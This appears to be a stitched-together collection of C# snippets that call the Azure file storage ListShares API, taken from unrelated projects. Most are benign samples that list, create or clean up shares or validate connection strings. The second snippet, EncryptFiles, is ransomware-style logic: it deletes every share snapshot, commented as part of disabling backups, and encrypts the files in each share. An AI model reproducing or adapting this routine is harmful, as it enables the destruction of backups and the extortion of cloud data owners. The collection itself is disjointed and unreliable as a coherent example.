public static void iterate_files(CloudStorageAccount storageAccount) { // Create the file client. CloudFileClient fileClient = storageAccount.CreateCloudFileClient(); foreach (CloudFileShare share in fileClient.ListShares()) { // Retrieve reference to a previously created container. CloudFileShare shr = fileClient.GetShareReference(share.Name); CloudFileDirectory rootDir = share.GetRootDirectoryReference(); recruisveSearch(rootDir); } Console.ReadKey(); }
public static void EncryptFiles(CloudStorageAccount storageAccount, AESEncryption encrypt) { // Create the file client. CloudFileClient fileClient = storageAccount.CreateCloudFileClient(); foreach (CloudFileShare share in fileClient.ListShares()) { // Retrieve reference to a previously created container. CloudFileShare shr = fileClient.GetShareReference(share.Name); if (shr.IsSnapshot) { shr.Delete(); // part of disable backups continue; } CloudFileDirectory rootDir = share.GetRootDirectoryReference(); EncryptRecruisveSearch(rootDir, encrypt, storageAccount); } }
private static async void ConnectToAzureFileStorage() { try { CloudFileClient cloudFileClient = cloudStorageAccount.CreateCloudFileClient(); foreach (CloudFileShare fileShare in cloudFileClient.ListShares()) { Console.WriteLine($"{fileShare.Name} - {fileShare.StorageUri}"); CloudFileDirectory cloudFileDirectory = fileShare.GetRootDirectoryReference(); if (cloudFileDirectory != null && await cloudFileDirectory.ExistsAsync()) { foreach (CloudFile fileItem in cloudFileDirectory.ListFilesAndDirectories()) { Console.WriteLine($"\t[{fileItem.Name}] - {fileItem?.Properties.Length} bytes"); } } } } catch (Exception ex) { Console.WriteLine(ex); } }
private static async Task ListSharesSample(CloudFileClient cloudFileClient) { Console.WriteLine(); // Keep a list of the file shares so you can compare this list // against the list of shares that we retrieve . List <string> fileShareNames = new List <string>(); try { // Create 3 file shares. // Create the share name -- use a guid in the name so it's unique. // This will also be used as the container name for blob storage when copying the file to blob storage. string baseShareName = "demotest-" + System.Guid.NewGuid().ToString(); for (int i = 0; i < 3; i++) { // Set the name of the share, then add it to the generic list. string shareName = baseShareName + "-0" + i; fileShareNames.Add(shareName); // Create the share with this name. Console.WriteLine("Creating share with name {0}", shareName); CloudFileShare cloudFileShare = cloudFileClient.GetShareReference(shareName); try { await cloudFileShare.CreateIfNotExistsAsync(); Console.WriteLine(" Share created successfully."); } catch (StorageException exStorage) { Common.WriteException(exStorage); Console.WriteLine( "Please make sure your storage account has storage file endpoint enabled and specified correctly in the app.config - then restart the sample."); Console.WriteLine("Press any key to exit"); Console.ReadLine(); throw; } catch (Exception ex) { Console.WriteLine(" Exception thrown creating share."); Common.WriteException(ex); throw; } } Console.WriteLine(string.Empty); Console.WriteLine("List of shares in the storage account:"); // List the file shares for this storage account IEnumerable <CloudFileShare> cloudShareList = cloudFileClient.ListShares(); try { foreach (CloudFileShare cloudShare in cloudShareList) { Console.WriteLine("Cloud Share name = {0}", cloudShare.Name); } } catch (Exception ex) { Console.WriteLine(" Exception thrown listing shares."); Common.WriteException(ex); throw; } } catch (Exception ex) { Console.WriteLine(" Exception thrown. Message = {0}{1} Strack Trace = {2}", ex.Message, Environment.NewLine, ex.StackTrace); } finally { // If it created the file shares, remove them (cleanup). if (fileShareNames != null && cloudFileClient != null) { // Now clean up after yourself, using the list of shares that you created in case there were other shares in the account. foreach (string fileShareName in fileShareNames) { CloudFileShare cloudFileShare = cloudFileClient.GetShareReference(fileShareName); cloudFileShare.DeleteIfExists(); } } } Console.WriteLine(); }
// The Azure Functions runtime uses this storage account connection string for all functions // except for HTTP triggered functions. // The storage account must be a general-purpose one that supports blobs, queues, and tables. // See Storage account and Storage account requirements. // AzureWebJobsDashboard // Optional storage account connection string for storing logs and displaying them in the Monitor tab in the portal. // The storage account must be a general-purpose one that supports blobs, queues, and tables. // See Storage account and Storage account requirements. //Functions uses Storage for operations such as managing triggers and logging function executions. internal StorageAccountsValidation MakeServiceRequestsExpectSuccess(string connectionKey, string connectionString) { string storageSymptoms = String.Empty; int status = 0; string postfixStatement = "Please make sure this is a general-purpose storage account."; //if (connectionKey.Equals("AzureWebJobsStorage", StringComparison.OrdinalIgnoreCase)) //{ //} try { if (string.IsNullOrWhiteSpace(connectionString)) { // return Task.FromResult<StorageAccountsValidation> (new StorageAccountsValidation { }); return(new StorageAccountsValidation { }); } CloudStorageAccount account = CloudStorageAccount.Parse(connectionString); // Make blob service requests try { CloudBlobClient blobClient = account.CreateCloudBlobClient(); // blobClient.ListContainersSegmentedAsync(); // blobClient.ListContainers().Count(); blobClient.GetServiceProperties(); } catch (Exception ex) { storageSymptoms += "Blob endpoint is not reachable. Make sure the firewall on this storage account is not misconfigured."; throw ex; } try { // Make queue service requests CloudQueueClient queueClient = account.CreateCloudQueueClient(); queueClient.ListQueues().Count(); queueClient.GetServiceProperties(); } catch (Exception ex) { storageSymptoms += "Queue is not enabled. "; throw ex; } try { // Make table service requests CloudTableClient tableClient = account.CreateCloudTableClient(); tableClient.ListTables().Count(); tableClient.GetServiceProperties(); } catch (Exception ex) { storageSymptoms += "Table is not enabled."; throw ex; } try { // Not sure if this is only required for consumption // When using a Consumption plan function definitions are stored in File Storage. CloudFileClient fileClient = account.CreateCloudFileClient(); fileClient.ListShares().Count(); fileClient.GetServiceProperties(); } catch (Exception ex) { storageSymptoms += "File is not enabled."; throw ex; } storageSymptoms = "Storage connection string validation passed!"; } catch (Exception ex) { storageSymptoms += "\n"; storageSymptoms += postfixStatement; status = 1; } StorageAccountsValidation result = new StorageAccountsValidation { AppSettingsKey = connectionKey, Mandatory = false, AccountName = connectionString.Split(new string[] { "AccountName=", ";AccountKey=" }, StringSplitOptions.RemoveEmptyEntries)[1], Message = storageSymptoms, Status = status }; //return Task.FromResult(result); return(result); }
private IEnumerable <object> ListShares(CloudFileClient client) { return(client.ListShares()); }
/// <summary> /// Get all the cloud file shares. /// </summary> /// <returns>The list of cloud file shares.</returns> public IEnumerable <CloudFileShare> GetFileShares() { return(_cloudFileClient.ListShares()); }
/// <summary> /// Test some of the file storage operations. /// </summary> public async Task RunFileStorageAdvancedOpsAsync() { // Keep a list of the file shares so you can compare this list // against the list of shares that we retrieve . List <string> fileShareNames = new List <string>(); // Create a file client for interacting with the file service. CloudFileClient cloudFileClient = null; try { //***** Setup *****// Console.WriteLine("Getting reference to the storage account."); // Retrieve storage account information from connection string // How to create a storage connection string - http://msdn.microsoft.com/en-us/library/azure/ee758697.aspx CloudStorageAccount storageAccount = Common.CreateStorageAccountFromConnectionString(CloudConfigurationManager.GetSetting("StorageConnectionString")); Console.WriteLine("Instantiating file client."); Console.WriteLine(string.Empty); // Create a file client for interacting with the file service. cloudFileClient = storageAccount.CreateCloudFileClient(); // Create 3 file shares. // Create the share name -- use a guid in the name so it's unique. // This will also be used as the container name for blob storage when copying the file to blob storage. string baseShareName = "demotest-" + System.Guid.NewGuid().ToString(); for (int i = 0; i < 3; i++) { // Set the name of the share, then add it to the generic list. string shareName = baseShareName + "-0" + i; fileShareNames.Add(shareName); // Create the share with this name. Console.WriteLine("Creating share with name {0}", shareName); CloudFileShare cloudFileShare = cloudFileClient.GetShareReference(shareName); try { await cloudFileShare.CreateIfNotExistsAsync(); Console.WriteLine(" Share created successfully."); } catch (StorageException exStorage) { Common.WriteException(exStorage); Console.WriteLine("Please make sure your storage account has storage file endpoint enabled and specified correctly in the app.config - then restart the sample."); Console.WriteLine("Press any key to exit"); Console.ReadLine(); throw; } catch (Exception ex) { Console.WriteLine(" Exception thrown creating share."); Common.WriteException(ex); throw; } } Console.WriteLine(string.Empty); Console.WriteLine("List of shares in the storage account:"); // List the file shares for this storage account IEnumerable <CloudFileShare> cloudShareList = cloudFileClient.ListShares(); try { foreach (CloudFileShare cloudShare in cloudShareList) { Console.WriteLine("Cloud Share name = {0}", cloudShare.Name); } } catch (Exception ex) { Console.WriteLine(" Exception thrown listing shares."); Common.WriteException(ex); throw; } } catch (Exception ex) { Console.WriteLine(" Exception thrown. Message = {0}{1} Strack Trace = {2}", ex.Message, Environment.NewLine, ex.StackTrace); } finally { // If it created the file shares, remove them (cleanup). if (fileShareNames != null && cloudFileClient != null) { // Now clean up after yourself, using the list of shares that you created in case there were other shares in the account. foreach (string fileShareName in fileShareNames) { CloudFileShare cloudFileShare = cloudFileClient.GetShareReference(fileShareName); cloudFileShare.DeleteIfExists(); } } } }